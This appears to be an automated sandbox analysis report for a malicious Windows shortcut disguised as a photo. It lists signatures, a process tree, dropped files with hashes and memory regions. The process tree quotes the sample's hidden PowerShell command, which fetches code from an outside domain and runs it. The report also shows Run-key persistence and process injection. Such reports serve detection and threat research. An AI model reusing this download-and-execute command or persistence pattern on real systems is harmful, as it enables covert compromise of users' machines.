Analysis

  • max time kernel
    150s
  • max time network
    124s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/07/2026, 12:18

General

  • Target
    photo-5455117028601.lnk
  • Size 1KB
  • Sample260707-pgm72shw71
  • SHA256 b8e17e7cfe116fe7e755a3113895c59e55353ba6778e79238f991421f669347e
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\photo-5455117028601.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\system32\cmd.exe
      "C:\Windows\system32\cmd.exe" /c powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm sizyrotiqnsa.com)"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4544
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -WindowStyle Hidden -ExecutionPolicy Bypass -c "iex(irm sizyrotiqnsa.com)"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:6120
        • C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe
          "C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Adds Run key to start application
          PID:5140
  • C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe
    "C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    PID:5712
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
      2⤵
        PID:1872
    • C:\Windows\Temp\DCRCVDrv.sys
      C:\Windows\Temp\DCRCVDrv.sys
      1⤵
      • Executes dropped EXE
      PID:2960
    • C:\Windows\system32\cmd.exe
      "cmd /c start "" /D "C:\ProgramData\WinPslUpd" psl.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:5024
      • C:\ProgramData\WinPslUpd\psl.exe
        "C:\ProgramData\WinPslUpd\psl.exe"
        2⤵
        • Executes dropped EXE
        • Loads dropped DLL
        PID:2948
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          3⤵
            PID:1848

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            xgmqra9_k_ptboyt.zip

            • Path C:\Users\Admin\AppData\Local\Temp\xgmqra9_k_ptboyt.zip
            • Size 4.3MB
            • SHA256 582091c7d8c80523a43ef090719a00b7d26a13d963a24f6a2d7e15205a6dd704
            • MD5 SHA1 SHA512 SSDEEP TLSH

            VCRUNTIME140.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\VCRUNTIME140.dll
            • Size 120KB
            • SHA256 184146852727a9db4eea06178716bec3cdbb1015c911f6b0f915b184ad7775b2
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libiconv-2.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\libiconv-2.dll
            • Size 1.1MB
            • SHA256 2e5883a09cfc4391cb81db3f0da4d9b8cda21fc1b287e73a1624ad518d941b94
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libidn2-0.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\libidn2-0.dll
            • Size 251KB
            • SHA256 3ebaf0f048ad557c789c7602bbf0ff878b4e1c84b27fac559ad72c72259bd90e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libintl-8.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\libintl-8.dll
            • Size 301KB
            • SHA256 a62094d6e21670f460cb110389d2cb7b9bc12cfbb075151eeb2c52436cc02755
            • MD5 SHA1 SHA512 SSDEEP TLSH

            libunistring-5.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\libunistring-5.dll
            • Size 2.1MB
            • SHA256 35eae7305e2e108ec3eac677f3357e376247e77e32aaecbf818b2c68f134d91c
            • MD5 SHA1 SHA512 SSDEEP TLSH

            msvcp140.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\msvcp140.dll
            • Size 540KB
            • SHA256 def46aa6a8f72f27bafac0c43334419486a4d1dcdb6c479a8ef7034b3e1fa4cb
            • MD5 SHA1 SHA512 SSDEEP TLSH

            psl.exe

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\psl.exe
            • Size 64KB
            • SHA256 68e81ce966ca0c016bb638d0d29b106a0da7eab2ddf70438d8182fa89baf5d78
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ucrtbase.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\ucrtbase.dll
            • Size 1.3MB
            • SHA256 c2ed69b4a1bb9432c75134e813c70539e27c8c1fe96a784d9be78c874e93d9d5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            vcruntime140_1.dll

            • Path C:\Users\Admin\AppData\Local\uiutstrug__upd_elzd\vcruntime140_1.dll
            • Size 46KB
            • SHA256 e6bfb3662ab4b1969a73441dbe35c96d51441b6bff8cf1fe7430bd5b246ca605
            • MD5 SHA1 SHA512 SSDEEP TLSH

            DCRCVDrv.sys

            • Path C:\Windows\Temp\DCRCVDrv.sys
            • Size 137KB
            • SHA256 87e8d39db624f37d3e77aedf487a2dfd197f71a4730ea74f4e7a4341deaec2ff
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2948-124-0x00007FF7599F0000-0x00007FF759A05000-memory.dmp

            memory/2960-88-0x0000000000010000-0x000000000003D000-memory.dmp

            memory/5140-107-0x00007FF78D370000-0x00007FF78D385000-memory.dmp

            memory/5712-118-0x00007FF78D370000-0x00007FF78D385000-memory.dmp

            memory/6120-13-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-16-0x000001933D3F0000-0x000001933D5B2000-memory.dmp

            memory/6120-21-0x000001933D340000-0x000001933D35E000-memory.dmp

            memory/6120-22-0x000001933D5C0000-0x000001933D672000-memory.dmp

            memory/6120-23-0x000001933D330000-0x000001933D33A000-memory.dmp

            memory/6120-25-0x000001933D390000-0x000001933D3B4000-memory.dmp

            memory/6120-24-0x000001933D390000-0x000001933D3BA000-memory.dmp

            memory/6120-26-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-27-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-28-0x000001933D350000-0x000001933D35A000-memory.dmp

            memory/6120-30-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-31-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-32-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-34-0x000001933D360000-0x000001933D372000-memory.dmp

            memory/6120-17-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-18-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-78-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-15-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-14-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-0-0x00007FFB192FF000-0x00007FFB19300000-memory.dmp

            memory/6120-12-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-11-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-10-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-9-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-8-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-7-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-6-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-5-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp

            memory/6120-4-0x000001933CE00000-0x000001933CE22000-memory.dmp

            memory/6120-1-0x00007FFB19170000-0x00007FFB19B14000-memory.dmp